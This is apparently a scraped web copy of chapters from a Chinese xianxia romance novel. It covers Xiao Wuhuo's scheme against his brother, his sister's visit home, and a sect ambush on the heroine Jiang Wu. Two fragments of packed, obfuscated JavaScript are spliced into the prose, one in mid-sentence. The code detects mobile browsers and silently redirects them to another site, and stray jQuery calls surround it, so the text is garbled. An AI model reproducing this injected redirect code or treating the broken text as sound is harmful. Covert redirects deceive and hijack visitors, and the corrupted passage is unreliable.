RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403956|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你陪我这个不孝女去给父亲上柱香吧。”说完,她便转头看向了萧无祸。 李安平还是有些担忧,他看了一眼萧无祸,随即又看向萧妺,“阿妺,三哥身体抱恙,不如让我陪你去吧。” “不要,我们兄妹二人还有说些体己话,还有我只有一个哥哥,叫什么三哥呢。”说完,萧妺便扶着桌子起身,然后朝着萧无祸伸出了手,等着他过来牵自己。 萧无祸不满地看着萧妺,口头责备道:“都是要当娘的人了,怎么还如此不稳重?” 萧妺俏皮地眨了眨眼睛,“再怎样,我也是哥哥的妹妹呀。莫非我嫁人了,当娘了,便不是哥哥的妹妹了吗?” 萧无祸拿萧妺没辙,只是神情无奈地摇了摇头,然后伸手握住他的手,然后牵着往祠堂走去。 萧妺跟在萧无祸的身后,在她未出嫁之前也是这般跟在哥哥的身后,在这偌大的荆州府内走过了春夏秋冬。 “若不是我如今怀有身孕,我还想让哥哥背着我呢。” 萧妺看着面前的萧无祸一点一点地从孩童到少年,再到如今成年男子束冠的模样,恍若流逝的时间又重新倒转往前,当初哥哥送她出嫁,一身暗红色的圆领袍坐在高大的马背上,从那之后她同哥哥见面的日子只能掰着手指算,见一次算一次,见一次少一次,一次一次,盼望着下一次,却没有再一次。 萧妺的婚事订得很仓促,从议亲到出嫁只用了不到半年的时间。 萧无祸问道:“李安平对你不好吗?” 萧妺娇嗔,“他敢对我不好吗?” 萧无祸笑道:“那为何还一直想着哥哥?丈夫待你若明珠,放于掌心呵护着,你不应该早就忘了哥哥吗?” 萧妺说:“萧无祸是萧无祸,李安平是李安平,不一样的,哥哥怎么能跟丈夫混为一谈?” 萧无祸笑而不语,脸上的笑意比方才更浓郁。 兄妹二人分别点燃了线香,在萧魁的牌位前叩首。 萧妺泪眼婆娑地看着萧魁的牌位,“爹爹,妺儿回来晚了。” 萧无祸伸手将萧妺扶起,却被后者一把按住了手臂。 “怎么?” 萧无祸不解地看向萧妺,随着她的目光看向了面前的牌位,却发觉每一个牌位上都有着细微难查如同蛛网般的裂痕。 萧无祸蹙眉,急声道:“萧舒延当了城主后如此懈怠?便是如此对待列祖列宗的吗?” 萧妺握紧了萧无祸的手臂,神情严峻地问道:“哥哥,这些都是次要的,现下面对列祖列宗,你先告诉我,你身上的真元是怎么回事?为何全都没有了?而且你还变得这么虚弱,是萧舒延对你做了什么吗?” 萧无祸笑着摇了摇头,“没有,是我自己。” 萧妺不解,“你这又是何苦呢?你对炼器方面的天赋不是自以为傲吗?没有了真元,你如何炼器?!还有你的腿,现下已经完全好了吗?” 萧无祸看向萧妺,“这些都不重要了,阿妺,我让你带的天书,你带来了吗?” 萧妺颔首,她从袖袋中将一竹制书筒取出来递给了萧无祸。 萧无祸心中大惊,他看向萧妺,试探地问道:“阿妺,你不问问我拿这东西来做何用吗?” 萧妺笑着摇了摇头,“不问,若是这东西能够让哥哥恢复真元,那它便是好东西,否则它什么也不是。” 萧无祸看向萧妺的双眸中多了几分疼惜,他伸手摸了摸后者的头发,“阿妺,如果哥哥是拿这个东西去做坏事呢?或者让你从小长大的家夷为平地呢?你也如此这般毫无防备地给哥哥吗?” “是。”萧妺颔首,“我的东西就是哥哥的东西,娘亲死后,有哥哥在的地方便是家,无论哥哥在哪里,在不在荆州府。” “阿妺,都怪哥哥无能,不能把这城主之位抢下来,也不能把从小欺负你的萧舒延碎尸万段。”萧无祸无奈地叹了一口气,“你在李家莫要如此乖巧,小心让人欺负了去。” 萧妺伸手抱住萧无祸,像小时候那般靠进他的怀中,娇笑道:“安平才不会欺负我呢,他疼我还来不及呢。” 萧无祸拢着萧妺,眼神逐渐狠厉,他可以不要城主之位,但是萧家欠他们兄妹二人的,都要百倍千倍得偿还,他们让一猖//妓之子欺负至此,简直是奇耻大辱。 “对了,哥哥,你在信中说的那位嫂嫂呢?方才在席间为何没看到她?”萧妺从萧无祸的怀中抬起头,“我想见见是否真的由哥哥说的那般好看,是否真的对哥哥那么好。” 萧无祸面上空白,他垂眸看向萧妺,接着自嘲地一笑,“嫂嫂?不过是宠幸了一个侍女,前些日子腻了便打发出府了,不必在意。” 萧妺蹙眉,神情担忧地看着萧无祸,“哥哥,真的是这样吗?” 56. 暗潮 初晨之曦,薄光鎏金。 萧蔚采了满满地一竹篮覆盆子和红樱桃,白色的衣裙上沾满了露水和杂草,她也无心打理,一路欢呼雀跃地跑进了萧无祸的小院。 “三郎,三郎。” 扫撒的婢子看到突然出现的萧蔚吓了一跳,她先是上下打量了一番后者,“女郎这是外出了吗?三公子不是去无咎大夫那治伤了吗?您一直不知晓吗?” 萧蔚敛了敛情绪,笑着对婢子说:“你瞧我都忘了,你瞧我可与从前无二?是否有不同的地方?” 婢子摇了摇头,“女郎还同从前一般光彩照人。” 萧蔚笑着抬手理了理发髻,心满意足地转身向萧无咎的院中走去。 从应如同一只发狂的野兽,神情暴躁地在房间中踱步,他看向在一旁神情悠闲的萧无祸,更加气盛,“你到底何时才让我去救我弟弟?” “别急,很快,而且这种事情主动权在我们手中才对,他们临时起意捉了你的弟弟,必定是想着用你弟弟来换那个女修,你迟迟不露面,着急得该是他们才对,因为有那女修在手,所以他们才会忌惮,更加不会动你弟弟,你要沉得住气。”萧无祸低头抿茶,“再者,你打得过修罗吗?你带来的那些鬼族人,不全部死在了她的手中吗?” 从应停下了脚步,扭头去看缩在角落中的沈确,随即快步朝她走了过去。 萧无祸出声问道:“你要做何事?五行道宗怎么说也是正道之首,况且这名女修继承了太初道尊的太阿剑,我劝你不要太放肆。” 从应站在沈确面前,看着她像一只鹌鹑一般缩在一处,神情惊恐地看着他,像极了一只温顺求生的鹿。 从应顿时泄了气,“算了,我也无意挑起鬼族人同正道的斗争。” 萧无祸说:“天书给你,今日计划照常进行。” 从应道:“知道了,不过你说他们的力量如此强悍,又是修罗又是大妖的,为何不直接杀过来?还要跟我们像是玩游戏一般,莫非,他们在戏弄我们?!” 萧无祸睨了从应一眼,“你想多了,无咎这里有我的法器,能够隐秘气息,只要你们不出这个院子,即便是大罗神仙下凡也难以找到你们的踪迹。其余的你便不用管了,确保计划万无一失便可。” “你要知晓我们鬼族人最擅长的便是附身了。”从应笑道,“马上便是新的一年了,你却想出了这么丧心病狂的计划,萧三郎啊萧三郎,真不愧是你啊。不过,你可要小心啊,这次可没人愿意舍命救你了。” 沈确蹙眉,听着二人的谈话心中难免担忧,可是她被封印了真元,无法将这里的消息传递出去,只能徒生担忧。 萧无祸神情一凛,“多嘴。” 萧蔚拎着竹篮,根据萧无咎的指示来到了一扇房门前,她本想唤面水镜看看此时自己的发髻云鬓,又想起自己已经不再是妖了,索性重新打理了一番。 萧蔚抚了抚胸口,按捺下自己喜悦的心情,然后抬手敲了敲门。 萧无祸闻声倏地看向门口,随即以眼神示意从应带着沈确躲起来。 “进来。” 萧蔚听到熟悉的声音,心跳漏了一拍,原本急切的心情刹那间冷静了下来,她想推开面前的那扇门,却无论如何也抬不起手。 萧无祸以为是送药的婢子,手脚不算勤快,一直在门外磨蹭,索性他便拖着病体起身,有些不耐烦地打开了门,“我说你……” 萧蔚神情一惊,也不曾想到萧无祸会前来开门,顿时惊在了原地。 萧无祸面上也是微微惊讶,看着面前熟悉的女子,眉心紧紧地蹙了起来。 “你来做何事?” 萧蔚脸上的笑容如同花朵一般凋谢,她按捺住心底的难过,复尔又重新拾起笑容,她将手中的竹篮举起来,娇声道:“三郎,我来给你送果子。” 萧无祸面无表情地说:“不需要,我们已经两清了,你不必再如此做了。你若是心有不满,可以去找管事领些银子,若是不需要,那便不必留在荆州府了。” 萧蔚抿了抿双唇,她勉力笑着,“是因为三郎觉得我是妖吗?我现下已经不是妖了,姜女郎给了我个木偶身,虽然也算不得人,但最起码我还能活着,还能照顾三郎。” 萧无祸目光一冷,“但你终究不是人,莫要再肖想以前了。” “三郎,三郎,你别这样。之前是我的错,我也不曾想那陷阱会弄伤你的腿,害你至此。”萧蔚忍住眼泪,“你让我留在你身边照顾你好不好,你看这些天你都憔悴的。我们回小院好不好?这里太简陋了,这些天你一定没有好好休息吧?夜间是否还会觉得双腿难受?” 萧无祸面色冷峻,想起那一个个双腿疼痛难忍的夜晚,萧蔚彻夜不睡地守着他,替他按摩双腿。 萧无祸抬手打翻了萧蔚手中的竹篮,“你不必如此作践自己,你真的以为我是否在意你是妖还是人吗?你真的确定我是在意你吗?从前,我只是在意你的一身妖力,现下你还有什么值得我在意的?” 萧蔚神情惊讶地看着撒落一地的覆盆子和红樱桃,熟透的果实摔在地上,汁水溅得四处都是,如同她现下的心一般破碎。 萧蔚试探地问道:“三郎现下是觉得我无用了对吗?” 萧无咎引着萧妺过来时,恰巧看到这么一幕。 萧妺拎着食盒快步上去,她好奇地打量着萧蔚,“哥哥,发生何事了?” 萧无祸眉毛高高地挑起,他上下打量了一番萧蔚,反问道:“你还有何处有用?你所说的事情,随随便便一个婢子都能做。” 萧无祸睨了萧蔚一眼,随即转身进门,萧妺依依不舍地看着萧蔚,她对于面前明艳动人的女子很感兴趣,似乎就是信件中所说的那位嫂嫂,但是碍于萧无祸的面子,终究没有多说一些,只是跟着进了房间。 萧蔚站在原地,眼泪如同断了线的珠子一般落了下来。 萧无咎见状俯身将散落在地的覆盆子和红樱桃捡起来,全部收进了竹篮中。 “走吧,他不想见你。”萧无咎将竹篮递换给萧蔚,“覆盆子是一味药用价值很高的果子,尤其是像三公子这种长期下肢无法活动之人,多多服用能够防止体内血液凝固,从而导致的中风或者肺衰等等,你很有心。” 萧无咎见萧蔚接过竹篮,便转身离开。 萧蔚也不知晓自己该去何处,只能一边擦着眼泪,一边无意识地跟着萧无咎。 “你无处可去吗?”萧无咎抖着竹筛中半干的药材,“你之前都是在哪?” 萧蔚哽咽道:“我之前在姜女郎那,但是大公子太吓人了,我之前便害怕他,现下更怕他了。” 萧无咎无声地叹了口气,“你若是无事便来帮我筛药材吧。” 萧蔚泪眼婆娑地抬眸看向萧无咎,“可是我不会。” 萧无咎头也不抬地说:“过来学。” 萧蔚将竹篮放在一旁,默默地走上前跟着萧无咎学习如何筛药,“你真好,愿意暂时收留我。” 萧无咎轻笑了一声,“因为我在无处可去的时候,也是被萧家收留的。” 萧蔚讶然,“无咎公子是被萧家收留的吗?我以为是亲戚之类的呢。” 萧无咎摇了摇头,“不是,我无父无母,萧公收留我时,舒延刚出生不久,当时萧家也是因为城主之位闹得不可开交,我那时不过才七岁,为了报答萧公的恩情,也怕有人会趁萧公不在会做出伤害夫人和舒延的事情,于是自告奋勇拿着木棍在门外保护他们。” 萧无咎笑了一声,其中多少带了些自嘲。 萧蔚破涕而笑,“无咎公子也是个知恩图报的好人呢。” 萧无咎说:“你也莫要太埋怨无咎,他常年受双腿所累,偶然得知害他如此的竟然是朝夕相对的枕边人,论谁都一时半刻难以接受。” 萧蔚垂下双眸,暗自伤神,“我不怨他,毕竟都是我的错,还有荆州城内的种种血债,但是我不悔。为了三郎,让我做何事,我都愿意,死我也不怕。” 萧无咎无奈地叹了一声,“因为你的情深,居然让这般多的人葬送了性命。你若是还有那么一丝对荆州百姓的悔意,那便多做一些善事吧,就当作是为了萧无祸积福积德。” 【荆州长街】 “你一大早喊我出来便是让我给你当苦力的吗?”寂满神情不满地抱怨,脖子上挂的三个礼盒险些要将他的颈子压断,“姜芜,你能不能帮我拿几个?我要累断气了。” 姜芜从首饰摊前折了回来,伸手将寂满脖颈上的礼盒取了下来,“不过才这点东西便累得你哭天抢地吗?你也太弱了吧。”说完,她便重新折回了首饰摊前,在一众精致的发簪中挑挑拣拣。 “谁哭天抢地了?你这都是买的什么东西啊?!”寂满跟着姜芜走到首饰摊前,随意地扫了一番其中的东西,“你要买首饰吗?为何不去首饰店吗?这摊子上的破烂玩意,你看得上吗?” “你说谁的东西是破烂玩意?!”摊主不满地说,“买不买?不买赶紧走人,大清早的,不要耽误我做生意!” 姜芜笑着解释道:“发簪这种东西讲究眼缘的,首饰店的东西不一定好,小摊位上的东西不一定不好。”说完,她便挑了一个水头十足的青白玉发簪。 寂满的双眸顿时放光,他急切地说:“姜芜姜芜,你若是把这根发簪送我,我就原谅你今日对我的所作所为。” “我要这根,麻烦包起来。”姜芜将发簪递给摊主,顺便将银子一同,“这发簪是送给雾沅的,既然今日带你出来了,你可以随意挑选,我来付钱。” “真的?”寂满打蛇随杆上,立刻狮子大开口,“那我要黄金的,我要镶珠宝的。” 姜芜接过摊主递来包好的发簪,随手放入了寂满的衣襟之中,笑着说:“可以,只要你有相中的。” 寂满跟着姜芜的步伐,顺 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萧妺不解地看着萧无祸,“可是,她真的没有哥哥说的那么重要吗?既然如此,哥哥为何还在给我的信中提起她?” 萧无祸沉默,他垂眸久久地看着萧妺,看着她手中摘来的红色玉兰花。 “或许以前重要,但是现下不重要了,不能再重要下去了,她是妖,人妖有别,况且她杀了那么多荆州百姓。” 萧妺讶然,“她是妖吗?荆州挖心一事居然同她有关?” 李安平急匆匆地从小路的另一端应了过来,“阿妺,你为何不说一声便出来了?这让我很担心的。” 萧妺勾唇,娇哼道:“这是我自己家,有何好担心的?” 萧无祸拍了拍萧妺的肩膀,面容和煦,“阿妺,回去吧,好好休息,要过年了。” 萧妺笑着点了点头,“好,又可以同哥哥一起过年守岁了。” 萧无祸面带微笑目送萧妺和李安平走远,随后神情紧绷地转身去了商扶庭所在的院落。 “商师弟。” 商扶庭闻言收剑,转身一脸不解地看着萧无祸,他不知晓后者来寻他何事,但依旧礼貌询问,“萧师兄?你身体可有好转?” 萧无祸勾唇,“你不必同我客套,你的剑意已经乱了,恐怕很担心你师妹吧。” 商扶庭蹙眉,神情警惕地看着萧无祸,低声质问道:“从应果然同你在一处,我师妹呢?” 萧无祸缓步走至凉亭内坐下,他偏头低咳了一番,“放心,她很好,你很快便能看到她了。” 商扶庭提剑走进凉亭,“你还未放弃让萧家覆灭?你可知南疆鬼族人的猖狂?你对你的家人有怨,对你的父亲有怨,荆州百姓何其无辜?那只狐妖又为了你杀了多少人?即便如此,你还是不曾放弃吗?” 萧无祸面无表情地抬眸看向商扶庭,心绪毫无波澜,“我放弃了,但是现下我想当城主,你们帮我杀了萧舒延。你不想杀人没关系,你身边不是有两个大妖吗?让他们动手。” 商扶庭面色凝重,思忖了片刻,他正纠结如何支走姜芜来困住睢羲,在他的计划中姜芜便是唯一的变数,事分大小轻重缓急,东城的百姓还等着天河之水救命,修罗已经出现在了荆州之地,况且并州又生事端,实在是耗不起。 “但是他身侧有个女修罗,你不怕吗?” “女修罗?”萧无祸嗤笑一声,“我倒是想问问,五行道宗为何要同修罗混在一处,而且还对外声称是个瞎眼孤女,真是遗笑千秋,你也不怕让五行道宗沦为笑柄。” “这……”商扶庭哑然,他觉得面前发麻,有些无地自容,心中一片恐慌,片刻后才开口,“我们也是被她骗了,她那么强,这也是情有可原吧。” 萧无祸哼笑一声,“别是鬼迷心窍便可,我有办法牵扯住她,你从我这里取了避火瓶,总该帮我做点事情吧?” 商扶庭问道:“我要帮你做何事?” 萧无祸说:“萧舒延一时半刻是杀不死的,你只需要让那两个大妖困住他便可,老天爷既然没有收我的命,那我便让他也尝尝变成废人、被亲近之人背叛的痛苦。” 商扶庭心中有些惊慌,萧无祸的计划与他所想的高度重合,他甚至不必冒着让师门蒙羞的可能去告诉那些散修姜芜的真实身份,这种下三滥的手段让他无措,但是萧无祸的出面会让整件事情顺利很多,这种巧合让他心惊。 “你预备何时动手?” “申时末。” 商扶庭颔首应下,“可以,我需要一辆马车,今夜事成之后我们便离开这里,已经有之前遇到过的散修认出了我们,我不想给师门添麻烦。至于荆州,千万不要让它落入鬼族人的手中,即便不是为了正道,也要为了荆州千万万百姓考虑。” 萧无祸抬眸看了商扶庭一眼,“我答应你,到时我会让沈确驾车接应你们。” 57. 围剿 临近晌午,姜芜拎着东西进门时,萧舒延也恰逢从外面回来。 “买的东西很多?” “忙到现在吗?” 萧舒延轻笑出声,他从桌前倒了一杯水,用戾气烘至温热后才递给姜芜,“先喝水,慢慢喝。” 姜芜把杯中的水一饮而尽,随后迫不及待地拿着一个包裹到萧舒延面前,笑着问道:“猜猜我都买了些什么?” “猜不到。”萧舒延垂眸看着姜芜手中的包裹,“这个是送给我的吗?” 姜芜颔首,“是啊,那要继续猜猜吗?” 萧舒延问道:“我可以摸一下吗?” 姜芜抿着唇思忖了片刻,神情有些苦恼地说:“这样岂不是一下便能猜出来了?” 萧舒延伸手勾了一下姜芜的脸颊,“你是想让我猜对?还是想亲口告诉我?” 姜芜歪头看着萧舒延,她把手背到了身后,连同包裹一起藏了起来,“这样一来一往,我都觉得这礼物都没什么新意了。” “不会。”萧舒延伸手去拿姜芜身后的包裹,“让我看看。” 姜芜把包裹从身后拿到了桌上,神情有些无奈,“好了,是我前几天出门让人裁制的衣裳。不过,我好像送过你很多相似的东西了。”说完,她又从一旁的包裹中翻出了一只锦盒,里面盛放着一只发冠和两条发链。 姜芜双手捧着锦盒递到了萧舒延面前,“喜欢吗?” 萧舒延伸手接过锦盒,抚摸过包裹的花纹,他抬眸看向姜芜,“喜欢,我可以打开看看吗?” 姜芜笑着说:“能试试的话,再好不过了。” “好。” 萧舒延拿着包裹去了里间,从屏风后出来时已经变幻成了睢羲的模样,他整理着身上花青色的中袍,臂弯处挂着黑色的外袍。 姜芜咬碎了手上的点心,将另一半放回了盒中,她上前接过睢羲臂弯中的外袍,扬手披在了他的肩上,感叹道:“哇,大修罗。” 睢羲俯身吻了吻姜芜的额头,轻声说:“谢谢濯濯,我很喜欢。但是,濯濯也有给自己裁新衣吗?” “我衣裳已经很多了,不想再要裁新衣的。”姜芜说,“若是你也给我准备了礼物,我也会是意外之喜,若是因为太繁忙而忘记了,也没有关系,你喜欢我准备的礼物,照顾好自己,我便已经很开心了。” 睢羲看着姜芜温顺的模样,心中泛起一股软软绵绵的酸楚感,他低头吻着姜芜的眉心,吻了又吻,“准备了,准备了。” 【小院】 雾沅在一处花藤下打坐修行,阳光落在他的黑衣之上,斑斓的蝴蝶幻影围绕于他的周身,徐徐蹁跹。 商扶庭站在房间门口盯着雾沅看了片刻,随后走上前坐于距离他对面的位置。 雾沅将外泄的妖力收回,他睁开双眸看着商扶庭,“商公子,可有事找我?” 商扶庭颔首,然后将自己与萧无祸谈话的全部内容告诉了雾沅。 雾沅蹙眉,“现下三公子金丹碎裂,内府尽破,他若是夺得了城主之位,你不怕他压不住南疆的鬼族人吗?而且他此前不正是同鬼族人合作吗?商公子,便是如此你也相信他吗?” 商扶庭长长地叹了一口气,“不是我需要他,而是人族需要他。” 雾沅问道:“此事何以见得?” “因为人族需要炼器之术,而三公子又是炼器天才。”商扶庭说,“即便是没有真元,但是他有各种顶尖的器具,依旧可以抵抗鬼族人。” 雾沅垂眸沉思了片刻,随后才缓缓开口,“你们人族为何如此看中炼器之术?而不是通过修行来强大自己?” 商扶庭看向雾沅,神情认真地说:“因为人族并非人人都可以问道修仙,论寿命与实力,人族比不上妖族与修罗族,更没有羽族和长灵族的独树一帜,甚至是没有鬼族人的得天独厚。千百万年以来,可与其余族人一战者,除了太初道尊便是七仙,以上人物皆以陨落。现下来看,萧舒延估计也是凶多吉少。修真界式微,其余种族日益壮大,人族无法短时间武装自己,肉/体/凡/胎于你们而言不过蝼蚁,唯有炼器之术,方能让普通人也有能力自保。” 雾沅讶然,“普通人也能够使用修士所炼的器具吗?” 商扶庭颔首,“对,所以萧无祸不能死。如果可以,我会请师门用天书助他重新淬体筑基,人族不需要有多少人能够出类拔萃夺得头筹、得道成仙,而是需要海清河晏、天下太平。” 雾沅看着商扶庭陷入了长久的沉默,从心底钦佩商扶庭的魄力与远见,单凭方才的言论,他相信假以时日,商扶庭定能够超过段怀野。 “你与我交心,不怕我现下便去杀了萧无祸吗?” 商扶庭反问道:“你会吗?” 雾沅神情一愣,他确实不会去杀萧无祸。 “即便是萧无祸只是昙花一现吗?” 商扶庭双眸凝光,“修真界为了黎明苍生,守护得便是这昙花一现。昙花陨落之后,妖魔鬼怪与芸芸众生之间有修真界铸造起的血肉长城。” 雾沅勾唇轻笑,他抬手为商扶庭斟茶,恭敬地起身执杯,“商道长,我敬你。” 商扶庭有些手足无措地看着雾沅,随后也以同样的礼节回礼。 “喂,你们在做什么?赶紧来帮忙,喝个茶而已,需要你敬我,我敬你吗?” 寂满提着大包小包进门,他将东西堆在门口,整个人都瘫倒了上去。 雾沅将茶杯放在一旁,往寂满的方向走去,“怎么买了这么多东西?” 寂满絮絮叨叨地抱怨道:“都是姜芜买的,有衣服还有吃食之类的,说什么明天是除夕夜,所有人都要有新衣服,还有烟花爆竹什么的,她怎么什么都觉得新奇啊。” 商扶庭感慨,“居然马上便是新的一年了,时间过得可真快啊。” 寂满翻身在一个包裹中掏了片刻,从其中取了一个物什出来,“不过,这个东西倒是很有趣啊。”说完,他双指搓了一簇火焰出来,点燃了炮仗的引线,只听得嗖得一声,整个炮仗蹿上天在半空中炸开。 寂满咧嘴笑着看向雾沅,“你看是不是很有趣啊?” “确实很有趣。” 申时中,天空落起了雨。 姜芜把明日所用的东西规整好,随即便站在廊中听雨,顺便搬出了茶具,边喝茶边等着睢羲回来。 萧云持伞自远处走来,眉心一缕黑色的鬼气显形又消失,她缓步走进了廊中,“女郎,落雨了,怎么不进屋里,仔细风大。” 姜芜抿了一口热茶,“左右也无事,我等等他。” 萧云莞尔,她将手中的雨伞递给姜芜,“巧了,大人托我给您带个口信,说是他在前厅等着您过去呢。” 姜芜放下茶杯,“好,我去找他。”说完,她便起身接过萧云手中的油纸伞,撑开后走入了雨幕之中。 萧云脸上笑意不变,甚至逐渐失去生机,如同一个提线木偶一般,她缓慢得转过身看着姜芜走远,随后身体一震,晕倒在地。 从应瞬间被弹了出来,他看着裸露在外的皮肤上出现了不同程度的灼伤,神情狠厉地看着地上的萧云,“这到底是怎么回事?一个小小女使而已。” 从应不敢耽误时间,迅速化作黑雾穿过雨幕离开。 姜芜持伞穿过石子小路,来到正厅侧方的前院处,一支云箭破空而来,直直地刺入她的左肩。 姜芜蹙眉,被这力道带得后退半步,强悍的掌风从正面而来,她迅速扭转手中的油纸伞,以伞尖去抵挡。 伞骨碎裂,纸屑纷飞。 泰宁和尚后退几步稳住身形,随即举起手掌念了一句佛号。 “诸位今日随我一同诛杀女修罗。” 此话一出,一呼百应。 姜芜扫视了一圈四周的散修,她伸手握住了左肩的箭矢,用力将它拔了出来,血花落在雨中晕开,她将手中的箭矢掷在一旁。 “今日是谁让你们来送死的?” 拐杖李说:“修罗残暴无道,虐杀起来从未放过妇孺孩童,屠村灭城,烧杀掠夺,毫无人道,今日我们一起上,杀了这女修罗也算是为我们的同胞报仇。” 姜芜唤出无心乱,甩鞭挥开蜂拥而上的众修士,随即向荆州府的正门跑去。 一剑修看了一眼身上的堪堪擦破皮的伤口,不解地问道:“她真的是修罗?” “她长鞭上的戾气不假,定是修罗无疑。” 几个器修祭出四方旗,从东南西北四个方位竖起牢笼,把姜芜困于方寸之地。 姜芜脚步一顿,一柄长剑自侧方而来,她侧身躲避,长剑直接划破了她的衣袖。 “修罗留下命来!” 姜芜眉心一拢,无心乱的另一端弹出长剑,她手腕翻转,一推一拉之间直接将那柄长剑挑飞。 深智大师的降魔杵直接击在了姜芜的腰侧。 姜芜中心不稳,整个人因为巨大的击力而飞了出去,她迅速调整好自己的身形,平稳落地。 雨越落越急,水汽氤氲,掩盖了四周的一切。 姜芜伸手抹了一把脸上的雨水,她的呼吸急促,胸口剧烈地起伏着,腰侧传来阵阵钝痛,她抬眸看着雨幕中渐渐围过来的人影,握紧了手中的无心乱,黑红色的戾气如同火焰从她的身上丝丝缕缕地冒出,滚滚奔腾附着在长鞭上。 “戾气!是戾气!” “她必定是修罗!” “荆州府大门已封,她这次必定插翅难逃。” 姜芜咬紧下唇,缓缓地站起身,她甩动长鞭同四周的修士缠斗起来。 鲜血飞溅,雨水逐渐被染红,长鞭抽在每一个修士的惯用手,留下一道又一道深可见骨的伤口,惨叫声此起彼伏。 萧舒延从正厅里间走了出来,身后跟着同样疑惑的萧高瞻。 天降暴雨,遮挡了大部分的视线。 “外面是何声音?” 萧高瞻侧耳倾听了片刻,神情大惊,“似乎是打斗声,莫非是鬼族人进犯?” 萧舒延突然察觉到了姜芜的戾气,神情一凛,“去看看。” 萧高瞻颔首,随即他取出一柄黑色的匕首,趁着萧舒延不防备,直接没入了他的后心之中。 萧舒延眉心一蹙,一缕鲜血从他唇中落下,挥手击飞了萧高瞻,他凝眸看向后者,神情严峻地说:“你不是高瞻,你是从应。” 萧高瞻的脸上露出一个诡异的笑容,“恭喜你答对了,你想杀我吗?你可以杀了我,这样你的弟弟便再也回不来了。” 萧舒延下颌紧绷,神情狠厉,他抬手聚集起一团黑色的戾气,其中翻腾着金色似火焰般的云烟,正准备一击将萧高瞻毙命。 商扶庭从一旁闪出,朝着萧舒延直接刺出了太初剑。 萧舒延抬手一挡,商扶庭迅速后撤,直接落到了萧高瞻附近,他俯身将后者扶起。 “睢羲,你杀了萧舒延,还打算杀死他的亲弟弟吗?” 萧舒延身量迅速拉长,面容急剧变化,顷刻间化为睢羲的模样,他面无表情地看着商扶庭,“你以为是谁都喜欢这种兄弟情深的游戏吗?” 萧高瞻突然吐出一口鲜血,他抬眸看向商扶庭,额头上冷汗津津,他现下浑身酸痛,根本提不起一丝力气,神情疑惑地问道:“商师弟,你方才那句话是何意?你说我大哥怎么了?” 商扶庭察觉到萧高瞻体内真元乱窜,但也无暇分心追问,只是神情急切地看了后者一眼,“这个以后再谈,我们一起冲出去,这个人可是大修罗,你怕不怕?” 萧高瞻擦掉唇角的鲜血,抬眸看向面前这个前一刻还是萧舒延模样的俊美男人,难以置信地说:“修罗?” 睢羲无心听他们的谈论,手中的戾气直接劈向二人。 商扶庭见状立刻将萧高瞻推开,自己翻滚向另一旁躲开,依旧不忘大喊,“萧高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426172|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞻,跑!快跑!” 萧高瞻闻言立刻向外跑去,睢羲见状隔空扼住他的脖颈,随手便将其甩到角落之处。 商扶庭迅速原地跃起,提剑刺向睢羲。 睢羲一脸不耐地直接将商扶庭击落至角落,“自不量力。” 雾沅见二人在睢羲面前毫无反击之力,他一边观察着前院姜芜的动向,随即灵机一动,立刻朝着厅内大喊,“姜芜!” 睢羲手中的动作一顿,神情流露出一丝焦躁。 商扶庭见时机大好,迅速运掌将萧高瞻推了出去,他将手上的鲜血抹在太初剑上,剑光顿时大亮,他双手持剑,腾空而起,直接对准了睢羲的心脏之处。 太初剑的剑尖刺破了睢羲心口的衣裳,却无法再前进半分。 睢羲狞笑,“你想杀我?” 商扶庭抬眸看向睢羲,额发被汗水湿透,眼神中却没有丝毫的退却,“雾沅!” 雾沅闻声飞身而入,罡风将他的黑衣吹起,恍若巨型蝴蝶展开的双翅,提前布置于厅内的蝶丝涌出,迅速缠在了睢羲的身上并不断得收紧。 商扶庭立刻后撤。 睢羲看着身上不能伤他分毫的蝶丝,漆黑带金的戾气喷涌而出,直接将雾沅与萧高瞻击飞。 商扶庭以太初剑撑地,化结界抵挡。 “你们太自以为是了。” 睢羲朝着门外走来。 商扶庭见状口中念念有词,金色的符咒腾空而起,把睢羲困在了正厅之中。 睢羲看着四周熟悉的符咒,“这种东西几百年前便是困不住我的,如今还要故技重施吗?” 商扶庭气喘吁吁地看着睢羲,他还是高估了自己的力量,今日别说是杀死睢羲,即便是困住他一刻钟都是不可能的,甚至所有人都要交代在这里,睢羲太过于危险,根本无人能摸清他的底细。 睢羲脱困太快,甚至等不到计划中顒鸟精火燃起的时刻。 商扶庭看着身后身负重伤的雾沅和萧高瞻,他忍痛撑着太初剑起身,再次将真元灌入剑中,“雾沅,快带二公子走!!!!!” 商扶庭话音刚落,便感觉周身便浮现出一丝奇特的感觉,灵气迅速在他的四周浮动旋转,大量地涌入他的体内。 睢羲挑眉,“突破金丹期了。” 商扶庭目光坚定地看向睢羲,随即握紧太初剑,凭借着境界提升之际真元在体内乱窜的凶猛之力冲了过去。 “你为何觉得元婴期便有同我一战的可能?”睢羲将太初剑击飞出去,出手掐住了商扶庭的脖颈,他无心同这些人周旋,只想尽快解决他们,然后赶到姜芜身侧,手上直接下了死力,“螳臂当车。” 商扶庭却缺氧而面色酱红,他咬牙并指,咒术未曾念出口便被睢羲摔了出去。 “商道长!” 雾沅甩出蝶丝将商扶庭接到身边,妖力滚滚冲向了睢羲。 睢羲见状直接挥袖打散扑面而来的妖力,随即便发觉雾沅隐藏于妖力之后,正向他袭来,“你也要一起?” 睢羲张开手指,以戾气控制住雾沅,却见后者的身形在一瞬之间化为碎屑。 “幻术?” 